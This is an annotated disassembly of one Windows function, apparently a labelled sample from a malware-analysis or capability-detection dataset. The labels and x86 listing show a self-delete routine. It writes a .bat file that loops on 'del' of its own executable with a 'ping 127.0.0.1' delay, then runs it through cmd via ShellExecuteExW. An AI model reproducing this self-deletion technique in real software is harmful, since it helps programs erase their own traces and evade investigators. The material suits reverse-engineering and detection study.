Function at 0x40b64f
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x524
mov eax, dword [0x459178]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x208
push esi
mov word [ebp - 0x218], ax
xor ebx, ebx
lea eax, [ebp - 0x216]
mov edi, ecx
push ebx
push eax
call fcn.00436b80
add esp, 0xc
xor eax, eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push esi
push ebx
push eax
call fcn.00436b80
add esp, 0xc
lea eax, [ebp - 0x218]
mov esi, 0x104
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40bb46
push esi
lea eax, [ebp - 0x428]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40bb46
lea ecx, [ebp - 0x4bc]
call fcn.00403282
xor eax, eax
mov dword [ebp - 0x460], ebx
push 7
pop esi
mov word [ebp - 0x470], ax
lea ecx, [ebp - 0x4bc]
lea eax, [ebp - 0x470]
mov dword [ebp - 0x45c], esi
push eax
lea eax, [ebp - 0x4a0]
push eax
call fcn.004100a0
test al, al
jne 0x40b721
push ebx
push 1
jmp 0x40bb30
push str..bat
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x440]
call fcn.00401f99
pop ecx
lea edx, [ebp - 0x440]
lea ecx, [ebp - 0x470]
call fcn.00413460
test al, al
jne 0x40b764
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x440]
inc ebx
push ebx
call fcn.004017f1
xor esi, esi
jmp 0x40bb2e
mov dword [ebp - 0x444], esi
xor eax, eax
mov esi, str.if_not_exist__
mov byte [ebp - 0x4bc], bl
push esi
mov dword [ebp - 0x448], ebx
mov word [ebp - 0x458], ax
call fcn.0043674b
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004022af
cmp word [ebp - 0x218], bx
jne 0x40b7a5
mov eax, ebx
jmp 0x40b7b2
lea eax, [ebp - 0x218]
push eax
call fcn.0043674b
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x458]
call fcn.004022af
mov esi, str.___del__0___else__ping_127.0.0.1__n_2del__
push esi
call fcn.0043674b
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004022af
cmp word [ebp - 0x218], bx
jne 0x40b7eb
mov eax, ebx
jmp 0x40b7f8
lea eax, [ebp - 0x218]
push eax
call fcn.0043674b
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x458]
call fcn.004022af
mov esi, str.__0_
push esi
call fcn.0043674b
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004022af
lea ecx, [ebp - 0x4d8]
call fcn.00412c70
sub esp, 0x10
lea eax, [ebp - 0x440]
lea ecx, [ebp - 0x4d8]
push eax
call fcn.00412d20
test al, al
jne 0x40b86a
lea ecx, [ebp - 0x4d8]
call fcn.00412ce0
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x458]
inc ebx
push ebx
call fcn.004017f1
xor esi, esi
jmp 0x40bb21
push ecx
lea edx, [ebp - 0x458]
lea ecx, [ebp - 0x488]
call fcn.00412b70
mov esi, dword [ebp - 0x478]
pop ecx
lea ecx, [ebp - 0x488]
test esi, esi
je 0x40bafd
cmp dword [ebp - 0x474], 0x10
mov eax, dword [ebp - 0x4d8]
cmovae ecx, dword [ebp - 0x488]
mov dword [ebp - 0x4dc], ebx
test eax, eax
je 0x40baf7
test ecx, ecx
je 0x40baf7
cmp dword [eax], 0xffffffff
je 0x40baf7
push ebx
lea edx, [ebp - 0x4dc]
push edx
push esi
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40baf7
cmp esi, dword [ebp - 0x4dc]
jne 0x40baf7
lea ecx, [ebp - 0x4d8]
call fcn.00412e50
test al, al
je 0x40baf7
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x520]
push ebx
push eax
call fcn.00436b80
add esp, 0xc
mov dword [ebp - 0x520], esi
lea eax, [ebp - 0x440]
mov dword [ebp - 0x514], str.Open
mov edx, str._c__
lea ecx, [ebp - 0x4d4]
push eax
call fcn.00404c66
pop ecx
push eax
lea ecx, [ebp - 0x440]
call fcn.00401f36
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x4d4]
inc ebx
push ebx
call fcn.004017f1
mov esi, 0x44c810
push esi
call fcn.0043674b
pop ecx
push eax
push esi
lea ecx, [ebp - 0x440]
call fcn.004022af
cmp dword [ebp - 0x42c], 8
lea eax, [ebp - 0x440]
mov dword [ebp - 0x51c], 0x8040
cmovae eax, dword [ebp - 0x440]
xor esi, esi
mov dword [ebp - 0x504], esi
lea esi, [edi + 0x2e0]
mov dword [ebp - 0x50c], eax
mov ecx, esi
lea eax, [ebp - 0x428]
mov dword [ebp - 0x510], eax
call fcn.0040866e
mov ecx, esi
call fcn.0040866a
mov dword [ebp - 0x4e0], eax
xor edi, edi
push 0x18
pop esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
mov dword [ebp - 0x4e4], esi
cdq
idiv esi
test eax, eax
je 0x40ba03
mov ebx, dword [ebp - 0x4e0]
xor esi, esi
add ecx, esi
call fcn.004138f0
mov ecx, dword [ebx]
inc edi
push 0x18
pop eax
add esi, eax
mov eax, dword [ebx + 4]
sub eax, ecx
cdq
idiv dword [ebp - 0x4e4]
cmp edi, eax
jb 0x40b9e1
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40ba4f
push eax
push ebx
lea ecx, [ebp - 0x488]
call fcn.00401638
lea ecx, [ebp - 0x4d8]
call fcn.00412ce0
push 0
push ebx
lea ecx, [ebp - 0x458]
call fcn.004017f1
push 0
push ebx
lea ecx, [ebp - 0x440]
call fcn.004017f1
push 0
jmp 0x40bb2f
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x4e8]
call esi
test eax, eax
jne 0x40ba82
xor esi, esi
lea ecx, [ebp - 0x488]
push esi
push ebx
call fcn.00401638
lea ecx, [ebp - 0x4d8]
call fcn.00412ce0
jmp 0x40bb14
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x40ba63
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor esi, esi
lea ecx, [ebp - 0x488]
push esi
push ebx
test eax, eax
je 0x40ba6d
call fcn.00401638
lea ecx, [ebp - 0x4d8]
call fcn.00412ce0
push esi
push ebx
lea ecx, [ebp - 0x458]
call fcn.004017f1
push esi
push ebx
lea ecx, [ebp - 0x440]
call fcn.004017f1
push esi
push ebx
lea ecx, [ebp - 0x470]
call fcn.004017f1
lea ecx, [ebp - 0x4bc]
call fcn.0040ff10
mov al, bl
jmp 0x40bb48
lea ecx, [ebp - 0x488]
push ebx
xor ebx, ebx
inc ebx
push ebx
call fcn.00401638
lea ecx, [ebp - 0x4d8]
call fcn.00412ce0
xor esi, esi
push esi
push ebx
lea ecx, [ebp - 0x458]
call fcn.004017f1
push esi
push ebx
lea ecx, [ebp - 0x440]
call fcn.004017f1
push esi
push ebx
lea ecx, [ebp - 0x470]
call fcn.004017f1
lea ecx, [ebp - 0x4bc]
call fcn.0040ff10
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00435a0a
mov esp, ebp
pop ebp
ret